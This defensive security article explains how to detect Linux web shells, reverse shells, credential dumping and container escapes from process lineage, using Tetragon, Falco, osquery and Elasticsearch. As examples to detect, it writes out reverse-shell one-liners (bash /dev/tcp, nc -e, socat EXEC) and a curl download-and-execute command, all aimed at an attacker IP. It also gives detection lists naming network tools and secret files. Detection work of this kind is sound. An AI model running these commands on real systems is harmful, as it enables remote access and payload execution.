Process Tree Security Analysis: Detecting Attacks Through Process Lineage
Problem
Individual process events are nearly useless as security signals. bash executes thousands of times per hour on any busy Linux system. curl is a routine network utility. python3 runs in virtually every application stack. Signature-based detection on individual execve events generates noise volumes that analysts cannot triage.
Process lineage changes everything. bash executed by nginx is not routine — it is almost certainly a web shell execution. curl spawned by java is suspicious in most application contexts. python3 -c spawned by gunicorn with a base64-encoded argument payload is an active compromise. The parent-child-grandchild relationship transforms ambiguous individual events into high-fidelity attack indicators.
The specific gaps in most environments:
- Process events are collected without parent context. Most SIEM deployments ingest execve events but strip or ignore the
ppidandparent_process_namefields. Analysts cannot reconstruct lineage after the fact. - Alert rules fire on process names, not ancestry. Alerting on
bashexecution misses the signal; alerting onhttpd → bashcatches it. Existing rule sets rarely encode this. - Process trees are never visualised. Even when parent data is available, no dashboard shows the execution tree from a given ancestor down to leaf processes. Analysts stare at flat event tables.
- Container contexts collapse visibility. In Kubernetes environments, the container PID namespace means processes visible at the node level have different PIDs than within the container. Tooling must bridge both namespaces.
By 2026, mature endpoint detection programmes instrument every host with eBPF-based process tracking that captures full ancestry chains, feed structured lineage events to a searchable store, and maintain automated rules that fire on parent-child combinations rather than process names in isolation.
Target systems: Linux kernel 5.8+ (eBPF requirement). Tetragon 1.2+ or Falco 0.38+. Osquery 5.10+. Elasticsearch 8.12+ with ECS-mapped events.
Threat Model
- Adversary 1 — Web shell operator: Attacker exploits an application vulnerability (file upload, deserialization, template injection) to deploy a web shell. The web server process becomes the parent of attacker-controlled shell commands.
- Adversary 2 — Reverse shell via RCE: Attacker exploits an RCE vulnerability in a Java application or Node.js service. The application process spawns a shell with a network callback to the attacker’s infrastructure.
- Adversary 3 — Credential dumping: Attacker with existing foothold reads
/etc/shadow, iterates/proc/[pid]/memof privileged processes, or accesses SSH private key files from an unexpected process context. - Adversary 4 — Container escape attempt: Attacker inside a container attempts to break out by spawning
nsenter,unshare, or accessing the host PID namespace through/procmanipulation. - Common property of all four: Each attack produces a parent-child process relationship that is detectable via lineage analysis, even when neither the parent nor the child is individually suspicious.
Why Lineage Beats Individual Events
Consider three execve events arriving in sequence:
process: nginx args: [nginx, -g, daemon off;]
process: bash args: [bash, -i]
process: curl args: [curl, http://203.0.113.50/stage2.sh, -o, /tmp/s]
Individually: a web server starting, a shell opening, a network request. All three appear in normal system activity thousands of times per day. No individual signature fires.
Now consider the process tree:
nginx (pid 1234)
└── bash (pid 5678, ppid 1234)
└── curl (pid 9012, ppid 5678)
The lineage nginx → bash → curl is immediately recognisable as a web shell being used to download a second-stage payload. The attack is unambiguous. No individual event was suspicious; the ancestry chain is.
This is the fundamental insight driving process tree analysis: attackers cannot avoid revealing themselves through process lineage, because they must spawn processes from their initial foothold, and that foothold is always an unexpected parent for the processes they need to run.
Collecting Process Events with Parent Context
Tetragon TracingPolicy for Full Ancestry
Tetragon captures execve events with parent process metadata natively through its eBPF engine. The following TracingPolicy attaches to the execve and execveat syscalls and includes parent process information:
# tetragon-process-lineage.yaml
# TracingPolicy capturing execve events with parent context.
# Applies to all processes on the node.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: process-lineage-tracking
spec:
kprobes:
- call: "sys_execve"
syscall: true
args:
- index: 0
type: "string" # Executable path.
- index: 1
type: "string_array" # argv.
selectors:
- matchActions:
- action: Post
# Include parent process context in every event.
# Tetragon automatically populates process.parent fields.
Tetragon JSON events include the full process ancestry chain:
{
"process_exec": {
"process": {
"exec_id": "a1b2c3",
"pid": 9012,
"binary": "/usr/bin/curl",
"arguments": "http://203.0.113.50/stage2.sh -o /tmp/s",
"start_time": "2026-05-07T14:23:01.123Z",
"pod": {
"name": "web-frontend-7d4b9c-xk2pq",
"namespace": "production",
"container": {
"name": "nginx",
"image": "nginx:1.25.3"
}
}
},
"parent": {
"exec_id": "d4e5f6",
"pid": 5678,
"binary": "/bin/bash",
"arguments": "-i"
}
}
}
The parent field is populated by Tetragon’s eBPF process cache, which tracks process ancestry independently of userspace — it cannot be spoofed by manipulating /proc.
Falco Rules Using proc.pname
Falco exposes proc.pname (parent process name) and proc.aname[N] (ancestor at depth N) in its rule language. These enable lineage-based detection without requiring a separate process tree reconstruction step:
# falco-process-lineage-rules.yaml
# Rules detecting attacks through parent-child process relationships.
# Web shell: any web server spawning an interactive shell.
- rule: Web Server Spawning Shell
desc: >
A web server process has spawned a shell interpreter. This is the canonical
web shell execution pattern. Legitimate web servers never spawn shells.
condition: >
spawned_process
and shell_procs
and proc.pname in (web_server_binaries)
output: >
Web shell execution detected
(parent=%proc.pname parent_pid=%proc.ppid
child=%proc.name child_pid=%proc.pid
args=%proc.args user=%user.name
container=%container.id pod=%k8s.pod.name)
priority: CRITICAL
tags: [web-shell, process-lineage, T1505.003]
# Application server spawning shell (Java, Node, Python app servers).
- rule: Application Server Spawning Shell
desc: >
An application server has spawned a shell. Indicates RCE via deserialization,
SSTI, or similar application-layer vulnerability.
condition: >
spawned_process
and shell_procs
and proc.pname in (java, node, python3, uvicorn, gunicorn, uwsgi,
catalina.sh, startup.sh, server.js)
output: >
Application server shell spawn detected
(parent=%proc.pname ppid=%proc.ppid
child=%proc.name pid=%proc.pid
args=%proc.args cmdline=%proc.cmdline
container=%container.id)
priority: CRITICAL
tags: [rce, process-lineage, T1059]
# Macro definitions for reuse across rules.
- macro: web_server_binaries
condition: >
proc.pname in (nginx, apache2, httpd, lighttpd, caddy,
php-fpm, php, python3, ruby, perl)
- macro: shell_procs
condition: >
proc.name in (bash, sh, dash, zsh, ksh, fish, tcsh,
busybox)
The proc.aname[N] field extends detection to grandparent and great-grandparent processes. A rule that fires on bash whose grandparent is nginx catches cases where the web shell spawns an intermediate interpreter before reaching the shell:
- rule: Web Shell Indirect Shell Spawn
desc: >
Shell spawned with a web server as grandparent, indicating web shell
using an interpreter as an intermediate step (e.g., nginx → python → bash).
condition: >
spawned_process
and shell_procs
and proc.aname[2] in (nginx, apache2, httpd, php-fpm, gunicorn)
output: >
Indirect web shell execution
(ancestor=%proc.aname[2] parent=%proc.pname
shell=%proc.name args=%proc.args)
priority: CRITICAL
tags: [web-shell, process-lineage]
Osquery Process Events and Open Sockets
Osquery enables point-in-time and scheduled process tree queries via the processes table (which includes parent as the ppid) and process_open_sockets for correlating network activity with process lineage:
-- osquery: suspicious_web_server_children.sql
-- Find processes whose parent is a web server binary.
-- Returns immediately from current process table state.
SELECT
p.pid,
p.name AS process_name,
p.cmdline,
p.cwd,
p.uid,
p.gid,
p.start_time,
parent.pid AS parent_pid,
parent.name AS parent_name,
parent.cmdline AS parent_cmdline
FROM
processes AS p
JOIN processes AS parent ON p.parent = parent.pid
WHERE
parent.name IN ('nginx', 'apache2', 'httpd', 'php-fpm', 'gunicorn', 'uvicorn')
AND p.name IN ('bash', 'sh', 'dash', 'python3', 'perl', 'ruby',
'nc', 'ncat', 'socat', 'curl', 'wget');
-- osquery: process_with_suspicious_network.sql
-- Correlate process lineage with active network connections.
-- Identifies processes with unusual parents that have open sockets.
SELECT
p.pid,
p.name,
p.cmdline,
parent.name AS parent_name,
s.remote_address,
s.remote_port,
s.local_port,
s.state
FROM
process_open_sockets AS s
JOIN processes AS p ON s.pid = p.pid
JOIN processes AS parent ON p.parent = parent.pid
WHERE
parent.name IN ('nginx', 'apache2', 'httpd', 'java', 'node', 'python3')
AND p.name IN ('bash', 'sh', 'nc', 'socat', 'curl')
AND s.remote_address != ''
AND s.remote_port != 0;
Schedule these as fleet-wide queries with a 60-second interval. Any result returned by either query is a high-fidelity incident trigger.
Building a Process Tree in Elasticsearch
Events from Tetragon and Falco reach Elasticsearch via the OTel Collector or Filebeat. ECS (Elastic Common Schema) maps process lineage into standardised fields: process.name, process.pid, process.parent.name, process.parent.pid.
Lineage Aggregation Query
The following Elasticsearch query reconstructs the full execution chain under a suspect parent process:
// elasticsearch: process-lineage-aggregation.json
// Aggregate child and grandchild processes spawned by nginx in the last 1 hour.
// Run against the security-events-* index.
{
"query": {
"bool": {
"filter": [
{ "term": { "event.category": "process" } },
{ "term": { "event.type": "start" } },
{ "term": { "process.parent.name": "nginx" } },
{ "range": { "@timestamp": { "gte": "now-1h" } } }
]
}
},
"aggs": {
"child_processes": {
"terms": {
"field": "process.name",
"size": 50
},
"aggs": {
"grandchildren": {
"terms": {
"field": "process.args",
"size": 20
}
},
"by_host": {
"terms": {
"field": "host.name",
"size": 20
}
}
}
}
},
"size": 0
}
Painless Script for Lineage String Construction
Construct a concatenated lineage string as a runtime field to enable fast filtering on the full ancestry chain:
// elasticsearch: lineage-runtime-field.json
// Define a runtime field that concatenates parent → child into a single
// searchable string. Add this to the index mapping or query runtime_mappings.
{
"runtime_mappings": {
"process.lineage": {
"type": "keyword",
"script": {
"source": """
String parent = doc.containsKey('process.parent.name')
&& doc['process.parent.name'].size() > 0
? doc['process.parent.name'].value
: 'unknown';
String child = doc.containsKey('process.name')
&& doc['process.name'].size() > 0
? doc['process.name'].value
: 'unknown';
emit(parent + ' → ' + child);
"""
}
}
}
}
Filter on process.lineage: "nginx → bash" to pull every instance of that parent-child pair across the entire fleet and the full retention window.
Specific Detection Patterns
Web Shell Detection
Web shells are detected by the parent-child pair: any web server or application framework spawning a shell interpreter or scripting language in an interactive or command-execution mode.
High-fidelity indicators:
nginx,apache2,httpd,lighttpdspawningbash,sh,dash,python3,perl,rubyphp-fpm,phpspawningbashorsh(PHP web shells are the most common variant)gunicorn,uvicorn,uwsgispawningpython3 -corbash -cwith base64-encoded arguments- Any of the above spawning
curl,wget,fetch(downloading second-stage payloads)
The cmdline argument pattern adds additional signal. Web shell commands are typically short, encoded, or invoke standard utilities in unusual ways:
python3 -c "import base64,subprocess;subprocess.call(base64.b64decode('...'))"
bash -c "curl http://203.0.113.50/s -o /tmp/s && chmod +x /tmp/s && /tmp/s"
perl -e 'use Socket;...'
Reverse Shell Indicators
Reverse shells are detectable through a combination of parent lineage and process argument patterns. Key signatures:
bashwith/dev/tcp/in its argument list:bash -i >& /dev/tcp/203.0.113.50/4444 0>&1ncorncatwith-eflag (execute):nc 203.0.113.50 4444 -e /bin/bashsocatwithEXEC:directive:socat TCP:203.0.113.50:4444 EXEC:bashpython3orpythonrunning a socket-based reverse shell one-liner- Any shell process with stdin/stdout/stderr all redirected to a network socket (
/proc/[pid]/fd/showing socket file descriptors for 0, 1, and 2)
Falco rule for bash /dev/tcp reverse shells:
- rule: Bash Reverse Shell via /dev/tcp
desc: >
Bash executed with /dev/tcp redirection, the standard bash reverse shell
technique. This is almost never legitimate in production environments.
condition: >
spawned_process
and proc.name = bash
and (proc.args contains "/dev/tcp/" or proc.args contains "/dev/udp/")
output: >
Bash reverse shell detected
(pid=%proc.pid args=%proc.args parent=%proc.pname
user=%user.name container=%container.id)
priority: CRITICAL
tags: [reverse-shell, T1059.004]
Credential Dumping Indicators
Credential access produces detectable process-level signals through file access patterns and process lineage:
/etc/shadow reads from unexpected processes:
- rule: Shadow File Read by Non-Privileged Process
desc: >
A process that is not a recognised system authentication binary is reading
/etc/shadow. Indicates credential dumping attempt.
condition: >
open_read
and fd.name = /etc/shadow
and not proc.name in (passwd, shadow, useradd, usermod,
chpasswd, unix_chkpwd, sshd, login, su, sudo)
output: >
Unexpected shadow file access
(process=%proc.name pid=%proc.pid parent=%proc.pname
user=%user.name)
priority: CRITICAL
tags: [credential-access, T1003.008]
/proc/[pid]/mem access for process memory dumping:
Processes reading another process’s memory via /proc/[pid]/mem are performing in-memory credential extraction. The pattern ptrace-open or open(/proc/[N]/mem) from a process that is not gdb, strace, or a known profiler is a credential dumping indicator.
SSH key file access from unexpected processes:
-- osquery: unexpected_ssh_key_access.sql
-- Processes opening SSH private key files that are not ssh/scp/sftp clients.
SELECT
p.name,
p.cmdline,
p.pid,
parent.name AS parent_name,
f.path AS accessed_file
FROM
process_open_files AS f
JOIN processes AS p ON f.pid = p.pid
JOIN processes AS parent ON p.parent = parent.pid
WHERE
f.path LIKE '%/.ssh/id_%'
AND f.path NOT LIKE '%.pub'
AND p.name NOT IN ('ssh', 'scp', 'sftp', 'git', 'rsync', 'ansible');
Container Escape Indicators
Container escapes require the attacker to cross namespace boundaries. The process lineage that precedes an escape attempt is detectable before the escape succeeds:
- Container process spawning
nsenterorunshare(namespace manipulation) - Process accessing
/proc/1/rootor/proc/1/ns/from inside a container (reaching host namespace via/proc) - Unexpected
mountsyscalls from a container process (attempting to mount host filesystems) runcorcontainerd-shimspawningbashorsh(exploitation of container runtime vulnerabilities like CVE-2024-21626)
Tetragon TracingPolicy for mount syscall detection inside containers:
# tetragon-container-escape-mount.yaml
# Block unexpected mount syscalls originating from container processes.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: container-escape-mount-detection
spec:
kprobes:
- call: "sys_mount"
syscall: true
selectors:
- matchNamespaces:
- namespace: Pid
operator: NotIn
values:
- "host" # Only match processes in non-host PID namespaces (containers).
matchActions:
- action: Sigkill # Block and kill the attempting process immediately.
- action: Post # Also emit a detection event.
Visualising Process Trees in Kibana and Grafana
Kibana Session View
Kibana’s Session View (available in Elastic Security 8.4+) renders process trees natively from ECS-formatted events. Enable it by:
- Ensuring all process events include
process.entry_leader.entity_idandprocess.session_leader.entity_idfields (populated by Elastic Agent’s system integration). - Opening any process event in the Security alerts view and selecting “Analyse Event” to render the full session tree.
The Session View shows the complete process ancestry from the session entry point (typically sshd or a container entrypoint) down to every child process, with network connections and file accesses correlated against each process node.
Grafana Process Ancestry Dashboard
For environments using Grafana rather than Kibana, a Loki-backed process tree dashboard queries structured Tetragon JSON logs:
# LogQL: web server shell spawn rate over time.
# Panels: time series showing rate of nginx/apache spawning shell children.
sum by (process_parent_name, process_name) (
rate(
{job="tetragon"}
| json
| process_parent_name =~ "nginx|apache2|httpd|gunicorn"
| process_name =~ "bash|sh|python3|perl"
[5m]
)
)
Dashboard panels:
- Top suspicious lineage pairs (table):
process.parent.name → process.nameaggregated over 24 hours, sorted by frequency. Zero is the expected value for web server → shell combinations. - Reverse shell attempt rate (time series): execve events matching
/dev/tcp,nc -e, orsocat EXECarguments, by host and container. - Credential file access heatmap (heatmap):
/etc/shadow,/proc/*/mem, and~/.ssh/id_*access events by hour of day, to surface timing patterns. - New lineage pairs (alert panel): any parent-child combination observed for the first time in the last 24 hours that was not seen in the prior 30-day baseline window.
Operational Guidance
Baseline before alerting. Before enabling process lineage alerting in production, run all queries in observe-only mode for two weeks. Build a known_safe_lineage list covering any legitimate parent-child patterns your environment produces (for example, a custom deployment script that is triggered by a web API call and spawns shell commands in a controlled, audited way). Reduce false positives before the rules go live; a high false positive rate causes analysts to tune out lineage alerts, which are otherwise very high fidelity.
Preserve process events for at least 30 days. Process tree analysis during incident response requires historical lineage. An analyst investigating a compromise discovered today may need to trace the initial foothold back three weeks. A 7-day retention window makes this impossible. 30 days is the minimum; 90 days is strongly preferred.
Alert on lineage, investigate with osquery. Automated Falco and Tetragon rules fire on lineage patterns in real time. When an alert fires, use osquery to sweep the entire fleet for the same pattern — a web shell on one host may indicate a coordinated campaign targeting multiple hosts simultaneously.
Tag with MITRE ATT&CK. All process lineage rules should carry ATT&CK technique IDs in their tags. Web shell execution is T1505.003. Reverse shells are T1059. Credential dumping via /proc/mem is T1003.007. Tagging enables SIEM correlation, report generation, and gap analysis against the ATT&CK framework.
Key Takeaways
Process tree analysis converts low-fidelity individual process events into high-fidelity attack indicators by evaluating parent-child relationships. The implementation requires three things: collection tooling that captures parent context at the kernel level (Tetragon or Falco with proc.pname), a searchable store that preserves lineage fields in a queryable form (Elasticsearch with ECS mapping), and detection rules that fire on lineage pairs rather than individual process names.
The four highest-value detection patterns — web shell execution (web server → shell), reverse shells (application server → bash with /dev/tcp), credential dumping (unexpected access to /etc/shadow or /proc/pid/mem), and container escape attempts (mount syscalls or namespace manipulation from container processes) — each have concrete, testable signatures that produce near-zero false positives in any environment where the baseline is established first.